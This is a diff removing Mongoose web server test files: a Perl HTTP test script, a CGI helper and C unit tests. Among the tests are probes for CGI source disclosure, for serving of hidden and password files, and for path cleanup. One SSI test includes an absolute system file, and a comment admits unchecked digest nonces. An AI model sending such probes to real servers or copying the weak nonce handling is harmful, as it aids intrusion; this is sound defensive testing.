o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'Modified', 'Directory listing');
|
|
||||||
write_file("$test_dir/index.html", "tralala");
|
|
||||||
o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'tralala', 'Index substitution');
|
|
||||||
o("GET / HTTP/1.0\n\n", 'embed.c', 'Directory listing - file name');
|
|
||||||
o("GET /ta/ HTTP/1.0\n\n", 'Modified', 'Aliases');
|
|
||||||
o("GET /not-exist HTTP/1.0\r\n\n", 'HTTP/1.1 404', 'Not existent file');
|
|
||||||
mkdir $test_dir . $dir_separator . 'x';
|
|
||||||
my $path = $test_dir . $dir_separator . 'x' . $dir_separator . 'index.cgi';
|
|
||||||
write_file($path, read_file($root . $dir_separator . 'env.cgi'));
|
|
||||||
chmod(0755, $path);
|
|
||||||
o("GET /$test_dir_uri/x/ HTTP/1.0\n\n", "Content-Type: text/html\r\n\r\n",
|
|
||||||
'index.cgi execution');
|
|
||||||
o("GET /$test_dir_uri/x/ HTTP/1.0\n\n",
|
|
||||||
"SCRIPT_FILENAME=test/test_dir/x/index.cgi", 'SCRIPT_FILENAME');
|
|
||||||
o("GET /ta/x/ HTTP/1.0\n\n", "SCRIPT_NAME=/ta/x/index.cgi",
|
|
||||||
'Aliases SCRIPT_NAME');
|
|
||||||
o("GET /hello.txt HTTP/1.1\nConnection: close\n\n", 'Connection: close',
|
|
||||||
'No keep-alive');
|
|
||||||
|
|
||||||
$path = $test_dir . $dir_separator . 'x' . $dir_separator . 'a.cgi';
|
|
||||||
system("ln -s `which perl` $root/myperl") == 0 or fail("Can't symlink perl");
|
|
||||||
write_file($path, "#!../../myperl\n" .
|
|
||||||
"print \"Content-Type: text/plain\\n\\nhi\";");
|
|
||||||
chmod(0755, $path);
|
|
||||||
o("GET /$test_dir_uri/x/a.cgi HTTP/1.0\n\n", "hi", 'Relative CGI interp path');
|
|
||||||
o("GET * HTTP/1.0\n\n", "^HTTP/1.1 404", '* URI');
|
|
||||||
|
|
||||||
my $mime_types = {
|
|
||||||
html => 'text/html',
|
|
||||||
htm => 'text/html',
|
|
||||||
txt => 'text/plain',
|
|
||||||
unknown_extension => 'text/plain',
|
|
||||||
js => 'application/x-javascript',
|
|
||||||
css => 'text/css',
|
|
||||||
jpg => 'image/jpeg',
|
|
||||||
c => 'text/plain',
|
|
||||||
'tar.gz' => 'blah',
|
|
||||||
bar => 'foo/bar',
|
|
||||||
baz => 'foo',
|
|
||||||
};
|
|
||||||
|
|
||||||
foreach my $key (keys %$mime_types) {
|
|
||||||
my $filename = "_mime_file_test.$key";
|
|
||||||
write_file("$root/$filename", '');
|
|
||||||
o("GET /$filename HTTP/1.0\n\n",
|
|
||||||
"Content-Type: $mime_types->{$key}", ".$key mime type");
|
|
||||||
unlink "$root/$filename";
|
|
||||||
}
|
|
||||||
|
|
||||||
# Get binary file and check the integrity
|
|
||||||
my $binary_file = 'binary_file';
|
|
||||||
my $f2 = '';
|
|
||||||
foreach (0..123456) { $f2 .= chr(int(rand() * 255)); }
|
|
||||||
write_file("$root/$binary_file", $f2);
|
|
||||||
my $f1 = req("GET /$binary_file HTTP/1.0\r\n\n");
|
|
||||||
while ($f1 =~ /^.*\r\n/) { $f1 =~ s/^.*\r\n// }
|
|
||||||
$f1 eq $f2 or fail("Integrity check for downloaded binary file");
|
|
||||||
|
|
||||||
my $range_request = "GET /hello.txt HTTP/1.1\nConnection: close\n".
|
|
||||||
"Range: bytes=3-5\r\n\r\n";
|
|
||||||
o($range_request, '206 Partial Content', 'Range: 206 status code');
|
|
||||||
o($range_request, 'Content-Length: 3\s', 'Range: Content-Length');
|
|
||||||
o($range_request, 'Content-Range: bytes 3-5/17', 'Range: Content-Range');
|
|
||||||
o($range_request, '\nple$', 'Range: body content');
|
|
||||||
|
|
||||||
# Test directory sorting. Sleep between file creation for 1.1 seconds,
|
|
||||||
# to make sure modification time are different.
|
|
||||||
mkdir "$test_dir/sort";
|
|
||||||
write_file("$test_dir/sort/11", 'xx');
|
|
||||||
select undef, undef, undef, 1.1;
|
|
||||||
write_file("$test_dir/sort/aa", 'xxxx');
|
|
||||||
select undef, undef, undef, 1.1;
|
|
||||||
write_file("$test_dir/sort/bb", 'xxx');
|
|
||||||
select undef, undef, undef, 1.1;
|
|
||||||
write_file("$test_dir/sort/22", 'x');
|
|
||||||
|
|
||||||
o("GET /$test_dir_uri/sort/?n HTTP/1.0\n\n",
|
|
||||||
'200 OK.+>11<.+>22<.+>aa<.+>bb<',
|
|
||||||
'Directory listing (name, ascending)');
|
|
||||||
o("GET /$test_dir_uri/sort/?nd HTTP/1.0\n\n",
|
|
||||||
'200 OK.+>bb<.+>aa<.+>22<.+>11<',
|
|
||||||
'Directory listing (name, descending)');
|
|
||||||
o("GET /$test_dir_uri/sort/?s HTTP/1.0\n\n",
|
|
||||||
'200 OK.+>22<.+>11<.+>bb<.+>aa<',
|
|
||||||
'Directory listing (size, ascending)');
|
|
||||||
o("GET /$test_dir_uri/sort/?sd HTTP/1.0\n\n",
|
|
||||||
'200 OK.+>aa<.+>bb<.+>11<.+>22<',
|
|
||||||
'Directory listing (size, descending)');
|
|
||||||
o("GET /$test_dir_uri/sort/?d HTTP/1.0\n\n",
|
|
||||||
'200 OK.+>11<.+>aa<.+>bb<.+>22<',
|
|
||||||
'Directory listing (modification time, ascending)');
|
|
||||||
o("GET /$test_dir_uri/sort/?dd HTTP/1.0\n\n",
|
|
||||||
'200 OK.+>22<.+>bb<.+>aa<.+>11<',
|
|
||||||
'Directory listing (modification time, descending)');
|
|
||||||
|
|
||||||
unless (scalar(@ARGV) > 0 and $ARGV[0] eq "basic_tests") {
|
|
||||||
# Check that .htpasswd file existence trigger authorization
|
|
||||||
write_file("$root/.htpasswd", 'user with space, " and comma:mydomain.com:5deda12442309cbdcdffc6b2737a894f');
|
|
||||||
o("GET /hello.txt HTTP/1.1\n\n", '401 Unauthorized',
|
|
||||||
'.htpasswd - triggering auth on file request');
|
|
||||||
o("GET / HTTP/1.1\n\n", '401 Unauthorized',
|
|
||||||
'.htpasswd - triggering auth on directory request');
|
|
||||||
|
|
||||||
# Test various funky things in an authentication header.
|
|
||||||
o("GET /hello.txt HTTP/1.0\nAuthorization: Digest eq== empty=\"\", empty2=, quoted=\"blah foo bar, baz\\\"\\\" more\\\"\", unterminatedquoted=\" doesn't stop\n\n",
|
|
||||||
'401 Unauthorized', 'weird auth values should not cause crashes');
|
|
||||||
my $auth_header = "Digest username=\"user with space, \\\" and comma\", ".
|
|
||||||
"realm=\"mydomain.com\", nonce=\"1291376417\", uri=\"/\",".
|
|
||||||
"response=\"e8dec0c2a1a0c8a7e9a97b4b5ea6a6e6\", qop=auth, nc=00000001, cnonce=\"1a49b53a47a66e82\"";
|
|
||||||
o("GET /hello.txt HTTP/1.0\nAuthorization: $auth_header\n\n", 'HTTP/1.1 200 OK', 'GET regular file with auth');
|
|
||||||
o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(.htpasswd)))*$',
|
|
||||||
'.htpasswd is hidden from the directory list');
|
|
||||||
o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(exploit.pl)))*$',
|
|
||||||
'hidden file is hidden from the directory list');
|
|
||||||
o("GET /.htpasswd HTTP/1.0\nAuthorization: $auth_header\n\n",
|
|
||||||
'^HTTP/1.1 404 ', '.htpasswd must not be shown');
|
|
||||||
o("GET /exploit.pl HTTP/1.0\nAuthorization: $auth_header\n\n",
|
|
||||||
'^HTTP/1.1 404', 'hidden files must not be shown');
|
|
||||||
unlink "$root/.htpasswd";
|
|
||||||
|
|
||||||
|
|
||||||
o("GET /env.cgi HTTP/1.0\n\r\n", 'HTTP/1.1 200 OK', 'GET CGI file');
|
|
||||||
o("GET /bad2.cgi HTTP/1.0\n\n", "HTTP/1.1 123 Please pass me to the client\r",
|
|
||||||
'CGI Status code text');
|
|
||||||
o("GET /sh.cgi HTTP/1.0\n\r\n", 'shell script CGI',
|
|
||||||
'GET sh CGI file') unless on_windows();
|
|
||||||
o("GET /env.cgi?var=HELLO HTTP/1.0\n\n", 'QUERY_STRING=var=HELLO',
|
|
||||||
'QUERY_STRING wrong');
|
|
||||||
o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
|
|
||||||
'var=HELLO', 'CGI POST wrong');
|
|
||||||
o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
|
|
||||||
'\x0aCONTENT_LENGTH=9', 'Content-Length not being passed to CGI');
|
|
||||||
o("GET /env.cgi HTTP/1.0\nMy-HdR: abc\n\r\n",
|
|
||||||
'HTTP_MY_HDR=abc', 'HTTP_* env');
|
|
||||||
o("GET /env.cgi HTTP/1.0\n\r\nSOME_TRAILING_DATA_HERE",
|
|
||||||
'HTTP/1.1 200 OK', 'GET CGI with trailing data');
|
|
||||||
|
|
||||||
o("GET /env.cgi%20 HTTP/1.0\n\r\n",
|
|
||||||
'HTTP/1.1 404', 'CGI Win32 code disclosure (%20)');
|
|
||||||
o("GET /env.cgi%ff HTTP/1.0\n\r\n",
|
|
||||||
'HTTP/1.1 404', 'CGI Win32 code disclosure (%ff)');
|
|
||||||
o("GET /env.cgi%2e HTTP/1.0\n\r\n",
|
|
||||||
'HTTP/1.1 404', 'CGI Win32 code disclosure (%2e)');
|
|
||||||
o("GET /env.cgi%2b HTTP/1.0\n\r\n",
|
|
||||||
'HTTP/1.1 404', 'CGI Win32 code disclosure (%2b)');
|
|
||||||
o("GET /env.cgi HTTP/1.0\n\r\n", '\nHTTPS=off\n', 'CGI HTTPS');
|
|
||||||
o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_FOO=foo\n', '-cgi_env 1');
|
|
||||||
o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_BAR=bar\n', '-cgi_env 2');
|
|
||||||
o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_BAZ=baz\n', '-cgi_env 3');
|
|
||||||
o("GET /env.cgi/a/b/98 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/98\n', 'PATH_INFO');
|
|
||||||
o("GET /env.cgi/a/b/9 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/9\n', 'PATH_INFO');
|
|
||||||
|
|
||||||
# Check that CGI's current directory is set to script's directory
|
|
||||||
my $copy_cmd = on_windows() ? 'copy' : 'cp';
|
|
||||||
system("$copy_cmd $root" . $dir_separator . "env.cgi $test_dir" .
|
|
||||||
$dir_separator . 'env.cgi');
|
|
||||||
o("GET /$test_dir_uri/env.cgi HTTP/1.0\n\n",
|
|
||||||
"CURRENT_DIR=.*$root/$test_dir_uri", "CGI chdir()");
|
|
||||||
|
|
||||||
# SSI tests
|
|
||||||
o("GET /ssi1.shtml HTTP/1.0\n\n",
|
|
||||||
'ssi_begin.+CFLAGS.+ssi_end', 'SSI #include file=');
|
|
||||||
o("GET /ssi2.shtml HTTP/1.0\n\n",
|
|
||||||
'ssi_begin.+Unit test.+ssi_end', 'SSI #include virtual=');
|
|
||||||
my $ssi_exec = on_windows() ? 'ssi4.shtml' : 'ssi3.shtml';
|
|
||||||
o("GET /$ssi_exec HTTP/1.0\n\n",
|
|
||||||
'ssi_begin.+Makefile.+ssi_end', 'SSI #exec');
|
|
||||||
my $abs_path = on_windows() ? 'ssi6.shtml' : 'ssi5.shtml';
|
|
||||||
my $word = on_windows() ? 'boot loader' : 'root';
|
|
||||||
o("GET /$abs_path HTTP/1.0\n\n",
|
|
||||||
"ssi_begin.+$word.+ssi_end", 'SSI #include file= (absolute)');
|
|
||||||
o("GET /ssi7.shtml HTTP/1.0\n\n",
|
|
||||||
'ssi_begin.+Unit test.+ssi_end', 'SSI #include "..."');
|
|
||||||
o("GET /ssi8.shtml HTTP/1.0\n\n",
|
|
||||||
'ssi_begin.+CFLAGS.+ssi_end', 'SSI nested #includes');
|
|
||||||
|
|
||||||
# Manipulate the passwords file
|
|
||||||
my $path = 'test_htpasswd';
|
|
||||||
unlink $path;
|
|
||||||
system("$exe -A $path a b c") == 0
|
|
||||||
or fail("Cannot add user in a passwd file");
|
|
||||||
system("$exe -A $path a b c2") == 0
|
|
||||||
or fail("Cannot edit user in a passwd file");
|
|
||||||
my $content = read_file($path);
|
|
||||||
$content =~ /^b:a:\w+$/gs or fail("Bad content of the passwd file");
|
|
||||||
unlink $path;
|
|
||||||
|
|
||||||
do_PUT_test();
|
|
||||||
kill_spawned_child();
|
|
||||||
do_unit_test();
|
|
||||||
do_embedded_test();
|
|
||||||
}
|
|
||||||
|
|
||||||
sub do_PUT_test {
|
|
||||||
# This only works because mongoose currently doesn't look at the nonce.
|
|
||||||
# It should really be rejected...
|
|
||||||
my $auth_header = "Authorization: Digest username=guest, ".
|
|
||||||
"realm=mydomain.com, nonce=1145872809, uri=/put.txt, ".
|
|
||||||
"response=896327350763836180c61d87578037d9, qop=auth, ".
|
|
||||||
"nc=00000002, cnonce=53eddd3be4e26a98\n";
|
|
||||||
|
|
||||||
o("PUT /a/put.txt HTTP/1.0\nContent-Length: 7\n$auth_header\n1234567",
|
|
||||||
"HTTP/1.1 201 OK", 'PUT file, status 201');
|
|
||||||
fail("PUT content mismatch")
|
|
||||||
unless read_file("$root/a/put.txt") eq '1234567';
|
|
||||||
o("PUT /a/put.txt HTTP/1.0\nContent-Length: 4\n$auth_header\nabcd",
|
|
||||||
"HTTP/1.1 200 OK", 'PUT file, status 200');
|
|
||||||
fail("PUT content mismatch")
|
|
||||||
unless read_file("$root/a/put.txt") eq 'abcd';
|
|
||||||
o("PUT /a/put.txt HTTP/1.0\n$auth_header\nabcd",
|
|
||||||
"HTTP/1.1 411 Length Required", 'PUT 411 error');
|
|
||||||
o("PUT /a/put.txt HTTP/1.0\nExpect: blah\nContent-Length: 1\n".
|
|
||||||
"$auth_header\nabcd",
|
|
||||||
"HTTP/1.1 417 Expectation Failed", 'PUT 417 error');
|
|
||||||
o("PUT /a/put.txt HTTP/1.0\nExpect: 100-continue\nContent-Length: 4\n".
|
|
||||||
"$auth_header\nabcd",
|
|
||||||
"HTTP/1.1 100 Continue.+HTTP/1.1 200", 'PUT 100-Continue');
|
|
||||||
}
|
|
||||||
|
|
||||||
sub do_unit_test {
|
|
||||||
my $cmd = "cc -g -W -Wall -o $unit_test_exe $root/unit_test.c -I. ".
|
|
||||||
"-pthread -DNO_SSL ";
|
|
||||||
if (on_windows()) {
|
|
||||||
$cmd = "cl $root/embed.c mongoose.c /I. /nologo /DNO_SSL ".
|
|
||||||
"/DLISTENING_PORT=\\\"$port\\\" /link /out:$embed_exe.exe ws2_32.lib ";
|
|
||||||
}
|
|
||||||
print $cmd, "\n";
|
|
||||||
system($cmd) == 0 or fail("Cannot compile unit test");
|
|
||||||
system($unit_test_exe) == 0 or fail("Unit test failed!");
|
|
||||||
}
|
|
||||||
|
|
||||||
sub do_embedded_test {
|
|
||||||
my $cmd = "cc -W -Wall -o $embed_exe $root/embed.c mongoose.c -I. ".
|
|
||||||
"-pthread -DNO_SSL -DLISTENING_PORT=\\\"$port\\\"";
|
|
||||||
if (on_windows()) {
|
|
||||||
$cmd = "cl $root/embed.c mongoose.c /I. /nologo /DNO_SSL ".
|
|
||||||
"/DLISTENING_PORT=\\\"$port\\\" /link /out:$embed_exe.exe ws2_32.lib ";
|
|
||||||
}
|
|
||||||
print $cmd, "\n";
|
|
||||||
system($cmd) == 0 or fail("Cannot compile embedded unit test");
|
|
||||||
|
|
||||||
spawn("./$embed_exe");
|
|
||||||
o("GET /test_get_header HTTP/1.0\nHost: blah\n\n",
|
|
||||||
'Value: \[blah\]', 'mg_get_header', 0);
|
|
||||||
o("GET /test_get_var?a=b&my_var=foo&c=d HTTP/1.0\n\n",
|
|
||||||
'Value: \[foo\]', 'mg_get_var 1', 0);
|
|
||||||
o("GET /test_get_var?my_var=foo&c=d HTTP/1.0\n\n",
|
|
||||||
'Value: \[foo\]', 'mg_get_var 2', 0);
|
|
||||||
o("GET /test_get_var?a=b&my_var=foo HTTP/1.0\n\n",
|
|
||||||
'Value: \[foo\]', 'mg_get_var 3', 0);
|
|
||||||
o("POST /test_get_var HTTP/1.0\nContent-Length: 10\n\n".
|
|
||||||
"my_var=foo", 'Value: \[foo\]', 'mg_get_var 4', 0);
|
|
||||||
o("POST /test_get_var HTTP/1.0\nContent-Length: 18\n\n".
|
|
||||||
"a=b&my_var=foo&c=d", 'Value: \[foo\]', 'mg_get_var 5', 0);
|
|
||||||
o("POST /test_get_var HTTP/1.0\nContent-Length: 14\n\n".
|
|
||||||
"a=b&my_var=foo", 'Value: \[foo\]', 'mg_get_var 6', 0);
|
|
||||||
o("GET /test_get_var?a=one%2btwo&my_var=foo& HTTP/1.0\n\n",
|
|
||||||
'Value: \[foo\]', 'mg_get_var 7', 0);
|
|
||||||
o("GET /test_get_var?my_var=one%2btwo&b=two%2b HTTP/1.0\n\n",
|
|
||||||
'Value: \[one\+two\]', 'mg_get_var 8', 0);
|
|
||||||
|
|
||||||
# + in form data MUST be decoded to space
|
|
||||||
o("POST /test_get_var HTTP/1.0\nContent-Length: 10\n\n".
|
|
||||||
"my_var=b+c", 'Value: \[b c\]', 'mg_get_var 9', 0);
|
|
||||||
|
|
||||||
# Test that big POSTed vars are not truncated
|
|
||||||
my $my_var = 'x' x 64000;
|
|
||||||
o("POST /test_get_var HTTP/1.0\nContent-Length: 64007\n\n".
|
|
||||||
"my_var=$my_var", 'Value size: \[64000\]', 'mg_get_var 10', 0);
|
|
||||||
|
|
||||||
# Other methods should also work
|
|
||||||
o("PUT /test_get_var HTTP/1.0\nContent-Length: 10\n\n".
|
|
||||||
"my_var=foo", 'Value: \[foo\]', 'mg_get_var 11', 0);
|
|
||||||
|
|
||||||
o("POST /test_get_request_info?xx=yy HTTP/1.0\nFoo: bar\n".
|
|
||||||
"Content-Length: 3\n\na=b",
|
|
||||||
'Method: \[POST\].URI: \[/test_get_request_info\].'.
|
|
||||||
'HTTP version: \[1.0\].HTTP header \[Foo\]: \[bar\].'.
|
|
||||||
'HTTP header \[Content-Length\]: \[3\].'.
|
|
||||||
'Query string: \[xx=yy\].'.
|
|
||||||
'Remote IP: \[\d+\].Remote port: \[\d+\].'.
|
|
||||||
'Remote user: \[\]'
|
|
||||||
, 'request_info', 0);
|
|
||||||
o("GET /not_exist HTTP/1.0\n\n", 'Error: \[404\]', '404 handler', 0);
|
|
||||||
o("bad request\n\n", 'Error: \[400\]', '* error handler', 0);
|
|
||||||
# o("GET /foo/secret HTTP/1.0\n\n",
|
|
||||||
# '401 Unauthorized', 'mg_protect_uri', 0);
|
|
||||||
# o("GET /foo/secret HTTP/1.0\nAuthorization: Digest username=bill\n\n",
|
|
||||||
# '401 Unauthorized', 'mg_protect_uri (bill)', 0);
|
|
||||||
# o("GET /foo/secret HTTP/1.0\nAuthorization: Digest username=joe\n\n",
|
|
||||||
# '200 OK', 'mg_protect_uri (joe)', 0);
|
|
||||||
|
|
||||||
kill_spawned_child();
|
|
||||||
}
|
|
||||||
|
|
||||||
print "SUCCESS! All tests passed.\n";
|
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
#!/usr/bin/env perl
|
|
||||||
|
|
||||||
# Make stdout unbuffered
|
|
||||||
use FileHandle;
|
|
||||||
STDOUT->autoflush(1);
|
|
||||||
|
|
||||||
# This script outputs some content, then sleeps for 5 seconds, then exits.
|
|
||||||
# Web server should return the content immediately after it is sent,
|
|
||||||
# not waiting until the script exits.
|
|
||||||
print "Content-Type: text/html\r\n\r\n";
|
|
||||||
print "Some data";
|
|
||||||
sleep 3;
|
|
||||||
@@ -1,206 +0,0 @@
|
|||||||
#include "mongoose.c"
|
|
||||||
|
|
||||||
#define FATAL(str, line) do { \
|
|
||||||
printf("Fail on line %d: [%s]\n", line, str); \
|
|
||||||
abort(); \
|
|
||||||
} while (0)
|
|
||||||
#define ASSERT(expr) do { if (!(expr)) FATAL(#expr, __LINE__); } while (0)
|
|
||||||
|
|
||||||
static void test_parse_http_request() {
|
|
||||||
struct mg_request_info ri;
|
|
||||||
char req1[] = "GET / HTTP/1.1\r\n\r\n";
|
|
||||||
char req2[] = "BLAH / HTTP/1.1\r\n\r\n";
|
|
||||||
char req3[] = "GET / HTTP/1.1\r\nBah\r\n";
|
|
||||||
char req4[] = "GET / HTTP/1.1\r\nA: foo bar\r\nB: bar\r\nbaz\r\n\r\n";
|
|
||||||
|
|
||||||
ASSERT(parse_http_request(req1, sizeof(req1), &ri) == sizeof(req1) - 1);
|
|
||||||
ASSERT(strcmp(ri.http_version, "1.1") == 0);
|
|
||||||
ASSERT(ri.num_headers == 0);
|
|
||||||
|
|
||||||
ASSERT(parse_http_request(req2, sizeof(req2), &ri) == -1);
|
|
||||||
ASSERT(parse_http_request(req3, sizeof(req3), &ri) == -1);
|
|
||||||
|
|
||||||
// TODO(lsm): Fix this. Header value may span multiple lines.
|
|
||||||
ASSERT(parse_http_request(req4, sizeof(req4), &ri) == sizeof(req4) - 1);
|
|
||||||
ASSERT(ri.num_headers == 3);
|
|
||||||
ASSERT(strcmp(ri.http_headers[0].name, "A") == 0);
|
|
||||||
ASSERT(strcmp(ri.http_headers[0].value, "foo bar") == 0);
|
|
||||||
ASSERT(strcmp(ri.http_headers[1].name, "B") == 0);
|
|
||||||
ASSERT(strcmp(ri.http_headers[1].value, "bar") == 0);
|
|
||||||
ASSERT(strcmp(ri.http_headers[2].name, "baz\r\n\r") == 0);
|
|
||||||
ASSERT(strcmp(ri.http_headers[2].value, "") == 0);
|
|
||||||
|
|
||||||
// TODO(lsm): add more tests.
|
|
||||||
}
|
|
||||||
|
|
||||||
static void test_should_keep_alive(void) {
|
|
||||||
struct mg_connection conn;
|
|
||||||
struct mg_context ctx;
|
|
||||||
char req1[] = "GET / HTTP/1.1\r\n\r\n";
|
|
||||||
char req2[] = "GET / HTTP/1.0\r\n\r\n";
|
|
||||||
char req3[] = "GET / HTTP/1.1\r\nConnection: close\r\n\r\n";
|
|
||||||
char req4[] = "GET / HTTP/1.1\r\nConnection: keep-alive\r\n\r\n";
|
|
||||||
|
|
||||||
memset(&conn, 0, sizeof(conn));
|
|
||||||
conn.ctx = &ctx;
|
|
||||||
parse_http_request(req1, sizeof(req1), &conn.request_info);
|
|
||||||
|
|
||||||
ctx.config[ENABLE_KEEP_ALIVE] = "no";
|
|
||||||
ASSERT(should_keep_alive(&conn) == 0);
|
|
||||||
|
|
||||||
ctx.config[ENABLE_KEEP_ALIVE] = "yes";
|
|
||||||
ASSERT(should_keep_alive(&conn) == 1);
|
|
||||||
|
|
||||||
conn.must_close = 1;
|
|
||||||
ASSERT(should_keep_alive(&conn) == 0);
|
|
||||||
|
|
||||||
conn.must_close = 0;
|
|
||||||
parse_http_request(req2, sizeof(req2), &conn.request_info);
|
|
||||||
ASSERT(should_keep_alive(&conn) == 0);
|
|
||||||
|
|
||||||
parse_http_request(req3, sizeof(req3), &conn.request_info);
|
|
||||||
ASSERT(should_keep_alive(&conn) == 0);
|
|
||||||
|
|
||||||
parse_http_request(req4, sizeof(req4), &conn.request_info);
|
|
||||||
ASSERT(should_keep_alive(&conn) == 1);
|
|
||||||
|
|
||||||
conn.request_info.status_code = 401;
|
|
||||||
ASSERT(should_keep_alive(&conn) == 0);
|
|
||||||
|
|
||||||
conn.request_info.status_code = 200;
|
|
||||||
conn.must_close = 1;
|
|
||||||
ASSERT(should_keep_alive(&conn) == 0);
|
|
||||||
}
|
|
||||||
|
|
||||||
static void test_match_prefix(void) {
|
|
||||||
ASSERT(match_prefix("/api", 4, "/api") == 4);
|
|
||||||
ASSERT(match_prefix("/a/", 3, "/a/b/c") == 3);
|
|
||||||
ASSERT(match_prefix("/a/", 3, "/ab/c") == -1);
|
|
||||||
ASSERT(match_prefix("/*/", 3, "/ab/c") == 4);
|
|
||||||
ASSERT(match_prefix("**", 2, "/a/b/c") == 6);
|
|
||||||
ASSERT(match_prefix("/*", 2, "/a/b/c") == 2);
|
|
||||||
ASSERT(match_prefix("*/*", 3, "/a/b/c") == 2);
|
|
||||||
ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
|
|
||||||
ASSERT(match_prefix("**.foo|**.bar", 13, "a.bar") == 5);
|
|
||||||
ASSERT(match_prefix("a|b|cd", 6, "cdef") == 2);
|
|
||||||
ASSERT(match_prefix("a|b|c?", 6, "cdef") == 2);
|
|
||||||
ASSERT(match_prefix("a|?|cd", 6, "cdef") == 1);
|
|
||||||
ASSERT(match_prefix("/a/**.cgi", 9, "/foo/bar/x.cgi") == -1);
|
|
||||||
ASSERT(match_prefix("/a/**.cgi", 9, "/a/bar/x.cgi") == 12);
|
|
||||||
ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
|
|
||||||
ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
|
|
||||||
ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
|
|
||||||
ASSERT(match_prefix("$", 1, "") == 0);
|
|
||||||
ASSERT(match_prefix("$", 1, "x") == -1);
|
|
||||||
ASSERT(match_prefix("*$", 2, "x") == 1);
|
|
||||||
ASSERT(match_prefix("/$", 2, "/") == 1);
|
|
||||||
ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
|
|
||||||
ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
|
|
||||||
ASSERT(match_prefix("*", 1, "/hello/") == 0);
|
|
||||||
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b/") == -1);
|
|
||||||
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b") == 6);
|
|
||||||
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.a") == 6);
|
|
||||||
}
|
|
||||||
|
|
||||||
static void test_remove_double_dots() {
|
|
||||||
struct { char before[20], after[20]; } data[] = {
|
|
||||||
{"////a", "/a"},
|
|
||||||
{"/.....", "/."},
|
|
||||||
{"/......", "/"},
|
|
||||||
{"...", "..."},
|
|
||||||
{"/...///", "/./"},
|
|
||||||
{"/a...///", "/a.../"},
|
|
||||||
{"/.x", "/.x"},
|
|
||||||
#if defined(_WIN32)
|
|
||||||
{"/\\", "/"},
|
|
||||||
#else
|
|
||||||
{"/\\", "/\\"},
|
|
||||||
#endif
|
|
||||||
{"/a\\", "/a\\"},
|
|
||||||
};
|
|
||||||
size_t i;
|
|
||||||
|
|
||||||
for (i = 0; i < ARRAY_SIZE(data); i++) {
|
|
||||||
//printf("[%s] -> [%s]\n", data[i].before, data[i].after);
|
|
||||||
remove_double_dots_and_double_slashes(data[i].before);
|
|
||||||
ASSERT(strcmp(data[i].before, data[i].after) == 0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
static const char *fetch_data = "hello world!\n";
|
|
||||||
static void *event_handler(enum mg_event event,
|
|
||||||
struct mg_connection *conn) {
|
|
||||||
const struct mg_request_info *request_info = mg_get_request_info(conn);
|
|
||||||
if (event == MG_NEW_REQUEST && !strcmp(request_info->uri, "/data")) {
|
|
||||||
mg_printf(conn, "HTTP/1.1 200 OK\r\n"
|
|
||||||
"Content-Length: %d\r\n"
|
|
||||||
"Content-Type: text/plain\r\n\r\n"
|
|
||||||
"%s", (int) strlen(fetch_data), fetch_data);
|
|
||||||
return "";
|
|
||||||
} else if (event == MG_EVENT_LOG) {
|
|
||||||
printf("%s\n", request_info->log_message);
|
|
||||||
}
|
|
||||||
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
static void test_mg_fetch(void) {
|
|
||||||
static const char *options[] = {
|
|
||||||
"document_root", ".",
|
|
||||||
"listening_ports", "33796",
|
|
||||||
NULL,
|
|
||||||
};
|
|
||||||
char buf[2000], buf2[2000];
|
|
||||||
int length;
|
|
||||||
struct mg_context *ctx;
|
|
||||||
struct mg_request_info ri;
|
|
||||||
const char *tmp_file = "temporary_file_name_for_unit_test.txt";
|
|
||||||
struct mgstat st;
|
|
||||||
FILE *fp;
|
|
||||||
|
|
||||||
ASSERT((ctx = mg_start(event_handler, NULL, options)) != NULL);
|
|
||||||
|
|
||||||
// Failed fetch, pass invalid URL
|
|
||||||
ASSERT(mg_fetch(ctx, "localhost", tmp_file, buf, sizeof(buf), &ri) == NULL);
|
|
||||||
ASSERT(mg_fetch(ctx, "localhost:33796", tmp_file,
|
|
||||||
buf, sizeof(buf), &ri) == NULL);
|
|
||||||
ASSERT(mg_fetch(ctx, "http://$$$.$$$", tmp_file,
|
|
||||||
buf, sizeof(buf), &ri) == NULL);
|
|
||||||
|
|
||||||
// Failed fetch, pass invalid file name
|
|
||||||
ASSERT(mg_fetch(ctx, "http://localhost:33796/data",
|
|
||||||
"/this/file/must/not/exist/ever",
|
|
||||||
buf, sizeof(buf), &ri) == NULL);
|
|
||||||
|
|
||||||
// Successful fetch
|
|
||||||
ASSERT((fp = mg_fetch(ctx, "http://localhost:33796/data",
|
|
||||||
tmp_file, buf, sizeof(buf), &ri)) != NULL);
|
|
||||||
ASSERT(ri.num_headers == 2);
|
|
||||||
ASSERT(!strcmp(ri.request_method, "HTTP/1.1"));
|
|
||||||
ASSERT(!strcmp(ri.uri, "200"));
|
|
||||||
ASSERT(!strcmp(ri.http_version, "OK"));
|
|
||||||
ASSERT((length = ftell(fp)) == (int) strlen(fetch_data));
|
|
||||||
fseek(fp, 0, SEEK_SET);
|
|
||||||
ASSERT(fread(buf2, 1, length, fp) == (size_t) length);
|
|
||||||
ASSERT(memcmp(buf2, fetch_data, length) == 0);
|
|
||||||
fclose(fp);
|
|
||||||
|
|
||||||
// Fetch big file, mongoose.c
|
|
||||||
ASSERT((fp = mg_fetch(ctx, "http://localhost:33796/mongoose.c",
|
|
||||||
tmp_file, buf, sizeof(buf), &ri)) != NULL);
